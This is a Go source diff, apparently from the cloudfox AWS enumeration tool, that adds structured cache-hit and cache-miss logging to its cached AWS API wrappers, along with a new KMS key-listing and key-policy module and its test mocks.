@@ -93,8 +120,22 @@ func CachedEKSListNodeGroups(client EKSClientInterface, accountID string, region
cacheKey := fmt.Sprintf("%s-eks-ListNodeGroups-%s-%s", accountID, region, clusterName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "eks:ListNodegroups",
"account": accountID,
"region": region,
"cluster": clusterName,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "eks:ListNodegroups",
"account": accountID,
"region": region,
"cluster": clusterName,
"cache": "miss",
}).Info("AWS API call")
for {
ListNodeGroups, err := client.ListNodegroups(
context.TODO(),
@@ -129,8 +170,24 @@ func CachedEKSDescribeNodeGroup(client EKSClientInterface, accountID string, reg
cacheKey := fmt.Sprintf("%s-eks-DescribeNodeGroup-%s-%s-%s", accountID, region, clusterName, nodeGroupName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "eks:DescribeNodegroup",
"account": accountID,
"region": region,
"cluster": clusterName,
"nodeGroup": nodeGroupName,
"cache": "hit",
}).Info("AWS API call")
return cached.(eksTypes.Nodegroup), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "eks:DescribeNodegroup",
"account": accountID,
"region": region,
"cluster": clusterName,
"nodeGroup": nodeGroupName,
"cache": "miss",
}).Info("AWS API call")
nodeGroupOutput, err := client.DescribeNodegroup(
context.TODO(),
&eks.DescribeNodegroupInput{
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/elasticache"
elasticacheTypes "github.com/aws/aws-sdk-go-v2/service/elasticache/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSElastiCacheClientInterface interface {
@@ -26,8 +27,20 @@ func CachedElastiCacheDescribeCacheClusters(client AWSElastiCacheClientInterface
cacheKey := fmt.Sprintf("%s-elasticache-DescribeCacheClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "elasticache:DescribeCacheClusters",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]elasticacheTypes.CacheCluster), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "elasticache:DescribeCacheClusters",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeCacheClusters, err := client.DescribeCacheClusters(
context.TODO(),
+22
View File
@@ -3,9 +3,13 @@ package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/elasticbeanstalk"
elasticbeanstalkTypes "github.com/aws/aws-sdk-go-v2/service/elasticbeanstalk/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSElasticBeanstalkClientInterface interface {
@@ -18,6 +22,23 @@ func init() {
func CachedElasticBeanstalkDescribeApplications(client AWSElasticBeanstalkClientInterface, accountID string, region string) ([]elasticbeanstalkTypes.ApplicationDescription, error) {
var applications []elasticbeanstalkTypes.ApplicationDescription
cacheKey := fmt.Sprintf("%s-elasticbeanstalk-DescribeApplications-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "elasticbeanstalk:DescribeApplications",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]elasticbeanstalkTypes.ApplicationDescription), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "elasticbeanstalk:DescribeApplications",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
DescribeApplications, err := client.DescribeApplications(
context.TODO(),
&elasticbeanstalk.DescribeApplicationsInput{},
@@ -31,5 +52,6 @@ func CachedElasticBeanstalkDescribeApplications(client AWSElasticBeanstalkClient
}
applications = append(applications, DescribeApplications.Applications...)
internal.Cache.Set(cacheKey, applications, cache.DefaultExpiration)
return applications, nil
}
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing"
elbTypes "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type ELBClientInterface interface {
@@ -25,8 +26,20 @@ func CachedELBDescribeLoadBalancers(client ELBClientInterface, accountID string,
cacheKey := fmt.Sprintf("%s-elb-DescribeLoadBalancers-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "elb:DescribeLoadBalancers",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]elbTypes.LoadBalancerDescription), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "elb:DescribeLoadBalancers",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
context.TODO(),
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2"
elbV2Types "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type ELBv2ClientInterface interface {
@@ -25,8 +26,20 @@ func CachedELBv2DescribeLoadBalancers(client ELBv2ClientInterface, accountID str
cacheKey := fmt.Sprintf("%s-elbv2-DescribeLoadBalancers-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "elbv2:DescribeLoadBalancers",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]elbV2Types.LoadBalancer), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "elbv2:DescribeLoadBalancers",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
context.TODO(),
+27
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/emr"
emrTypes "github.com/aws/aws-sdk-go-v2/service/emr/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSEMRClientInterface interface {
@@ -30,8 +31,20 @@ func CachedEMRListClusters(client AWSEMRClientInterface, accountID string, regio
cacheKey := fmt.Sprintf("%s-emr-ListClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "emr:ListClusters",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]emrTypes.ClusterSummary), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "emr:ListClusters",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListClusters, err := client.ListClusters(
context.TODO(),
@@ -66,8 +79,22 @@ func CachedEMRListInstances(client AWSEMRClientInterface, accountID string, regi
cacheKey := fmt.Sprintf("%s-emr-ListInstances-%s-%s", accountID, region, clusterID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "emr:ListInstances",
"account": accountID,
"region": region,
"clusterId": clusterID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]emrTypes.Instance), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "emr:ListInstances",
"account": accountID,
"region": region,
"clusterId": clusterID,
"cache": "miss",
}).Info("AWS API call")
for {
ListInstances, err := client.ListInstances(
context.TODO(),
+63 -5
View File
@@ -11,6 +11,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/glue"
glueTypes "github.com/aws/aws-sdk-go-v2/service/glue/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSGlueClientInterface interface {
@@ -36,9 +37,20 @@ func CachedGlueListDevEndpoints(GlueClient AWSGlueClientInterface, accountID str
cacheKey := "glue-ListDevEndpoints-" + accountID + "-" + region
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached Glue dev endpoints data")
sharedLogger.WithFields(logrus.Fields{
"api": "glue:ListDevEndpoints",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "glue:ListDevEndpoints",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListDevEndpoints, err := GlueClient.ListDevEndpoints(
@@ -77,9 +89,20 @@ func CachedGlueListJobs(GlueClient AWSGlueClientInterface, accountID string, reg
cacheKey := "glue-ListJobs-" + accountID + "-" + region
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached Glue jobs data")
sharedLogger.WithFields(logrus.Fields{
"api": "glue:ListJobs",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "glue:ListJobs",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListJobs, err := GlueClient.ListJobs(
@@ -118,9 +141,22 @@ func CachedGlueGetTables(GlueClient AWSGlueClientInterface, accountID string, re
cacheKey := "glue-GetTables-" + accountID + "-" + region
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached Glue tables data")
sharedLogger.WithFields(logrus.Fields{
"api": "glue:GetTables",
"account": accountID,
"region": region,
"database": dbName,
"cache": "hit",
}).Info("AWS API call")
return cached.([]glueTypes.Table), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "glue:GetTables",
"account": accountID,
"region": region,
"database": dbName,
"cache": "miss",
}).Info("AWS API call")
for {
GetTables, err := GlueClient.GetTables(
@@ -160,9 +196,20 @@ func CachedGlueGetDatabases(GlueClient AWSGlueClientInterface, accountID string,
cacheKey := "glue-GetDatabases-" + accountID + "-" + region
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached Glue databases data")
sharedLogger.WithFields(logrus.Fields{
"api": "glue:GetDatabases",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]glueTypes.Database), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "glue:GetDatabases",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
GetDatabases, err := GlueClient.GetDatabases(
@@ -203,9 +250,20 @@ func CachedGlueGetResourcePolicies(GlueClient AWSGlueClientInterface, accountID
cacheKey := "glue-GetResourcePolicies-" + accountID + "-" + region
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached Glue resource policies data")
sharedLogger.WithFields(logrus.Fields{
"api": "glue:GetResourcePolicies",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]policy.Policy), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "glue:GetResourcePolicies",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
GetResourcePolicies, err := GlueClient.GetResourcePolicies(
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/grafana"
grafanaTypes "github.com/aws/aws-sdk-go-v2/service/grafana/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type GrafanaClientInterface interface {
@@ -25,8 +26,20 @@ func CachedGrafanaListWorkspaces(client GrafanaClientInterface, accountID string
cacheKey := fmt.Sprintf("%s-grafana-ListWorkspaces-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "grafana:ListWorkspaces",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]grafanaTypes.WorkspaceSummary), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "grafana:ListWorkspaces",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
+77
View File
@@ -13,6 +13,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/iam"
iamTypes "github.com/aws/aws-sdk-go-v2/service/iam/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSIAMClientInterface interface {
@@ -44,8 +45,18 @@ func CachedIamListUsers(IAMClient AWSIAMClientInterface, accountID string) ([]ia
cacheKey := fmt.Sprintf("%s-iam-ListUsers", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "iam:ListUsers",
"account": accountID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]iamTypes.User), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "iam:ListUsers",
"account": accountID,
"cache": "miss",
}).Info("AWS API call")
for {
ListUsers, err := IAMClient.ListUsers(
@@ -81,8 +92,18 @@ func CachedIamListRoles(IAMClient AWSIAMClientInterface, accountID string) ([]ia
cacheKey := fmt.Sprintf("%s-iam-ListRoles", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "iam:ListRoles",
"account": accountID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]iamTypes.Role), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "iam:ListRoles",
"account": accountID,
"cache": "miss",
}).Info("AWS API call")
for {
ListRoles, err := IAMClient.ListRoles(
@@ -118,8 +139,20 @@ func CachedIamListAccessKeys(IAMClient AWSIAMClientInterface, accountID string,
cacheKey := fmt.Sprintf("%s-iam-ListAccessKeys-%s", accountID, userName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "iam:ListAccessKeys",
"account": accountID,
"userName": userName,
"cache": "hit",
}).Info("AWS API call")
return cached.([]iamTypes.AccessKeyMetadata), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "iam:ListAccessKeys",
"account": accountID,
"userName": userName,
"cache": "miss",
}).Info("AWS API call")
for {
ListAccessKeys, err := IAMClient.ListAccessKeys(
@@ -172,8 +205,18 @@ func CachedIAMGetAccountAuthorizationDetails(IAMClient AWSIAMClientInterface, ac
cacheKey := fmt.Sprintf("%s-iam-GetAccountAuthorizationDetails", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "iam:GetAccountAuthorizationDetails",
"account": accountID,
"cache": "hit",
}).Info("AWS API call")
return cached.(customGAADOutput), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "iam:GetAccountAuthorizationDetails",
"account": accountID,
"cache": "miss",
}).Info("AWS API call")
for {
GetAccountAuthorizationDetails, err := IAMClient.GetAccountAuthorizationDetails(
@@ -224,8 +267,20 @@ func CachedIamSimulatePrincipalPolicy(IAMClient AWSIAMClientInterface, accountID
cacheKey := fmt.Sprintf("%s-iamSimulator-%s-%s-%s", accountID, name, hex.EncodeToString(md5hashedActionNames[:truncatedHashLength]), hex.EncodeToString(md5hashedResourceArns[:truncatedHashLength]))
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "iam:SimulatePrincipalPolicy",
"account": accountID,
"principal": name,
"cache": "hit",
}).Info("AWS API call")
return cached.([]iamTypes.EvaluationResult), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "iam:SimulatePrincipalPolicy",
"account": accountID,
"principal": name,
"cache": "miss",
}).Info("AWS API call")
for {
SimulatePrincipalPolicy, err := IAMClient.SimulatePrincipalPolicy(
@@ -261,8 +316,18 @@ func CachedIamListGroups(IAMClient AWSIAMClientInterface, accountID string) ([]i
cacheKey := fmt.Sprintf("%s-iam-ListGroups", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "iam:ListGroups",
"account": accountID,
"cache": "hit",
}).Info("AWS API call")
return cached.([]iamTypes.Group), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "iam:ListGroups",
"account": accountID,
"cache": "miss",
}).Info("AWS API call")
for {
ListGroups, err := IAMClient.ListGroups(
@@ -296,9 +361,21 @@ func CachedIamGetInstanceProfile(IAMClient AWSIAMClientInterface, accountID stri
cacheKey := fmt.Sprintf("%s-iam-GetInstanceProfile-%s", accountID, instanceProfileName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "iam:GetInstanceProfile",
"account": accountID,
"profile": instanceProfileName,
"cache": "hit",
}).Info("AWS API call")
return cached.(iamTypes.InstanceProfile), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "iam:GetInstanceProfile",
"account": accountID,
"profile": instanceProfileName,
"cache": "miss",
}).Info("AWS API call")
GetInstanceProfile, err := IAMClient.GetInstanceProfile(
context.TODO(),
&iam.GetInstanceProfileInput{
+13
View File
@@ -8,6 +8,7 @@ import (
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/kinesis"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type AWSKinesisClientInterface interface {
@@ -24,8 +25,20 @@ func CachedKinesisListStreams(client AWSKinesisClientInterface, accountID string
cacheKey := fmt.Sprintf("%s-kinesis-ListStreams-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "kinesis:ListStreams",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]string), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "kinesis:ListStreams",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListStreams, err := client.ListStreams(
context.TODO(),
+107
View File
@@ -0,0 +1,107 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/kms"
kmsTypes "github.com/aws/aws-sdk-go-v2/service/kms/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
// KMSClientInterface is an interface for the AWS SDK KMS client.
type KMSClientInterface interface {
ListKeys(context.Context, *kms.ListKeysInput, ...func(options *kms.Options)) (*kms.ListKeysOutput, error)
GetKeyPolicy(context.Context, *kms.GetKeyPolicyInput, ...func(options *kms.Options)) (*kms.GetKeyPolicyOutput, error)
}
func init() {
gob.Register([]kmsTypes.KeyListEntry{})
gob.Register(policy.Policy{})
}
// CachedKMSListKeys returns a list of KMS keys for the given account and region.
func CachedKMSListKeys(client KMSClientInterface, accountID string, region string) ([]kmsTypes.KeyListEntry, error) {
var keys []kmsTypes.KeyListEntry
cacheKey := fmt.Sprintf("%s-kms-ListKeys-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "kms:ListKeys",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]kmsTypes.KeyListEntry), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "kms:ListKeys",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
keyPaginator := kms.NewListKeysPaginator(client.(kms.ListKeysAPIClient), &kms.ListKeysInput{}, func(options *kms.ListKeysPaginatorOptions) {})
for keyPaginator.HasMorePages() {
output, err := keyPaginator.NextPage(context.TODO())
if err != nil {
return nil, err
}
for _, key := range output.Keys {
keys = append(keys, key)
}
}
internal.Cache.Set(cacheKey, keys, cache.DefaultExpiration)
return keys, nil
}
// CachedKMSGetKeyPolicy returns the policy for the given KMS key.
func CachedKMSGetKeyPolicy(client KMSClientInterface, accountID string, region string, keyID string) (policy.Policy, error) {
var keyPolicy policy.Policy
var policyJson string
cacheKey := fmt.Sprintf("%s-kms-GetKeyPolicy-%s-%s", accountID, region, keyID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "kms:GetKeyPolicy",
"account": accountID,
"region": region,
"keyId": keyID,
"cache": "hit",
}).Info("AWS API call")
return cached.(policy.Policy), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "kms:GetKeyPolicy",
"account": accountID,
"region": region,
"keyId": keyID,
"cache": "miss",
}).Info("AWS API call")
getKeyPolicy, err := client.GetKeyPolicy(
context.TODO(),
&kms.GetKeyPolicyInput{
KeyId: &keyID,
},
)
if err != nil {
return keyPolicy, err
}
policyJson = aws.ToString(getKeyPolicy.Policy)
keyPolicy, err = policy.ParseJSONPolicy([]byte(policyJson))
if err != nil {
return keyPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", keyID, err)
}
internal.Cache.Set(cacheKey, keyPolicy, cache.DefaultExpiration)
return keyPolicy, nil
}
+42
View File
@@ -0,0 +1,42 @@
package sdk
import (
"context"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/kms"
kmsTypes "github.com/aws/aws-sdk-go-v2/service/kms/types"
)
type MockedKMSClient struct {
}
func (m *MockedKMSClient) ListKeys(ctx context.Context, input *kms.ListKeysInput, options ...func(*kms.Options)) (*kms.ListKeysOutput, error) {
return &kms.ListKeysOutput{
Keys: []kmsTypes.KeyListEntry{
{
KeyId: aws.String("key1"),
KeyArn: aws.String("arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab"),
},
},
}, nil
}
func (m *MockedKMSClient) GetKeyPolicy(ctx context.Context, input *kms.GetKeyPolicyInput, options ...func(options *kms.Options)) (*kms.GetKeyPolicyOutput, error) {
return &kms.GetKeyPolicyOutput{
Policy: aws.String(`{
"Version": "2012-10-17",
"Id": "key-default-1",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}`),
}, nil
}
+27
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/lambda"
lambdaTypes "github.com/aws/aws-sdk-go-v2/service/lambda/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type LambdaClientInterface interface {
@@ -29,8 +30,20 @@ func CachedLambdaListFunctions(client LambdaClientInterface, accountID string, r
cacheKey := fmt.Sprintf("%s-lambda-ListFunctions-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "lambda:ListFunctions",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]lambdaTypes.FunctionConfiguration), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "lambda:ListFunctions",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListFunctions, err := client.ListFunctions(
@@ -114,8 +127,22 @@ func CachedLambdaGetFunctionUrlConfig(client LambdaClientInterface, accountID st
cacheKey := fmt.Sprintf("%s-lambda-GetFunctionUrlConfig-%s-%s", accountID, region, functionName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "lambda:GetFunctionUrlConfig",
"account": accountID,
"region": region,
"function": functionName,
"cache": "hit",
}).Info("AWS API call")
return cached.(customGetFuntionURLOutput), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "lambda:GetFunctionUrlConfig",
"account": accountID,
"region": region,
"function": functionName,
"cache": "miss",
}).Info("AWS API call")
GetFunctionUrlConfig, err := client.GetFunctionUrlConfig(
context.TODO(),
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/lightsail"
lightsailTypes "github.com/aws/aws-sdk-go-v2/service/lightsail/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type lightsailClientInterface interface {
@@ -69,8 +70,20 @@ func CachedLightsailGetContainerServices(client lightsailClientInterface, accoun
cacheKey := fmt.Sprintf("%s-lightsail-GetContainerService-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "lightsail:GetContainerServices",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]lightsailTypes.ContainerService), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "lightsail:GetContainerServices",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
GetInstances, err := client.GetContainerServices(
context.TODO(),
&lightsail.GetContainerServicesInput{},
+13
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/mq"
mqTypes "github.com/aws/aws-sdk-go-v2/service/mq/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type MQClientInterface interface {
@@ -26,8 +27,20 @@ func CachedMQListBrokers(client MQClientInterface, accountID string, region stri
cacheKey := fmt.Sprintf("%s-mq-ListBrokers-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "mq:ListBrokers",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]mqTypes.BrokerSummary), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "mq:ListBrokers",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
for {
ListBrokers, err := client.ListBrokers(
+47 -3
View File
@@ -9,6 +9,7 @@ import (
"github.com/aws/aws-sdk-go-v2/service/opensearch"
openSearchTypes "github.com/aws/aws-sdk-go-v2/service/opensearch/types"
"github.com/patrickmn/go-cache"
"github.com/sirupsen/logrus"
)
type OpenSearchClientInterface interface {
@@ -23,14 +24,26 @@ func init() {
gob.Register(openSearchTypes.DomainStatus{})
}
// create CachedOpenSearchListDomainNames function that uses go-cache and pagination
// CachedOpenSearchListDomainNames function that uses go-cache and pagination
func CachedOpenSearchListDomainNames(client OpenSearchClientInterface, accountID string, region string) ([]openSearchTypes.DomainInfo, error) {
var domains []openSearchTypes.DomainInfo
cacheKey := fmt.Sprintf("%s-opensearch-ListDomainNames-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "opensearch:ListDomainNames",
"account": accountID,
"region": region,
"cache": "hit",
}).Info("AWS API call")
return cached.([]openSearchTypes.DomainInfo), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "opensearch:ListDomainNames",
"account": accountID,
"region": region,
"cache": "miss",
}).Info("AWS API call")
ListDomainNames, err := client.ListDomainNames(
context.TODO(),
@@ -50,14 +63,31 @@ func CachedOpenSearchListDomainNames(client OpenSearchClientInterface, accountID
return domains, nil
}
// create CachedOpenSearchDescribeDomainConfig function that uses go-cache and pagination and supports region option
// CachedOpenSearchDescribeDomainConfig function that uses go-cache and pagination and supports region option
func CachedOpenSearchDescribeDomainConfig(client OpenSearchClientInterface, accountID string, region string, domainName string) (openSearchTypes.DomainConfig, error) {
fmt.Printf("CachedOpenSearchDescribeDomainConfig: %s %s %s\n", accountID, region, domainName)
var DomainConfig openSearchTypes.DomainConfig
cacheKey := fmt.Sprintf("%s-opensearch-DescribeDomainConfig-%s-%s", accountID, region, domainName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "opensearch:DescribeDomainConfig",
"account": accountID,
"region": region,
"domain": domainName,
"cache": "hit",
}).Info("AWS API call")
return cached.(openSearchTypes.DomainConfig), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "opensearch:DescribeDomainConfig",
"account": accountID,
"region": region,
"domain": domainName,
"cache": "miss",
}).Info("AWS API call")
DescribeDomainConfig, err := client.DescribeDomainConfig(
context.TODO(),
&opensearch.DescribeDomainConfigInput{
@@ -78,14 +108,28 @@ func CachedOpenSearchDescribeDomainConfig(client OpenSearchClientInterface, acco
return DomainConfig, nil
}
// create CachedOpenSearchDescribeDomain function that uses go-cache and pagination and supports region option
// CachedOpenSearchDescribeDomain function that uses go-cache and pagination and supports region option
func CachedOpenSearchDescribeDomain(client OpenSearchClientInterface, accountID string, region string, domainName string) (openSearchTypes.DomainStatus, error) {
var DomainStatus openSearchTypes.DomainStatus
cacheKey := fmt.Sprintf("%s-opensearch-DescribeDomain-%s-%s", accountID, region, domainName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.WithFields(logrus.Fields{
"api": "opensearch:DescribeDomain",
"account": accountID,
"region": region,
"domain": domainName,
"cache": "hit",
}).Info("AWS API call")
return cached.(openSearchTypes.DomainStatus), nil
}
sharedLogger.WithFields(logrus.Fields{
"api": "opensearch:DescribeDomain",
"account": accountID,
"region": region,
"domain": domainName,
"cache": "miss",
}).Info("AWS API call")
DescribeDomain, err := client.DescribeDomain(
context.TODO(),
&opensearch.DescribeDomainInput{
+54 -6
View File
@@ -27,8 +27,8 @@ func (m *MockedOpenSearchClient) ListDomainNames(ctx context.Context, input *ope
}
func (m *MockedOpenSearchClient) DescribeDomainConfig(ctx context.Context, input *opensearch.DescribeDomainConfigInput, options ...func(*opensearch.Options)) (*opensearch.DescribeDomainConfigOutput, error) {
return &opensearch.DescribeDomainConfigOutput{
DomainConfig: &openSearchTypes.DomainConfig{
domainConfigMap := map[string]*openSearchTypes.DomainConfig{
"domain1": {
EngineVersion: &openSearchTypes.VersionStatus{
Options: aws.String("OpenSearch-1.1"),
Status: &openSearchTypes.OptionStatus{
@@ -49,15 +49,63 @@ func (m *MockedOpenSearchClient) DescribeDomainConfig(ctx context.Context, input
EnforceHTTPS: aws.Bool(true),
},
},
AdvancedSecurityOptions: &openSearchTypes.AdvancedSecurityOptionsStatus{
Options: &openSearchTypes.AdvancedSecurityOptions{
Enabled: aws.Bool(true),
},
},
},
"domain2": {
EngineVersion: &openSearchTypes.VersionStatus{
Options: aws.String("OpenSearch-1.1"),
Status: &openSearchTypes.OptionStatus{
PendingDeletion: aws.Bool(false),
},
},
ClusterConfig: &openSearchTypes.ClusterConfigStatus{
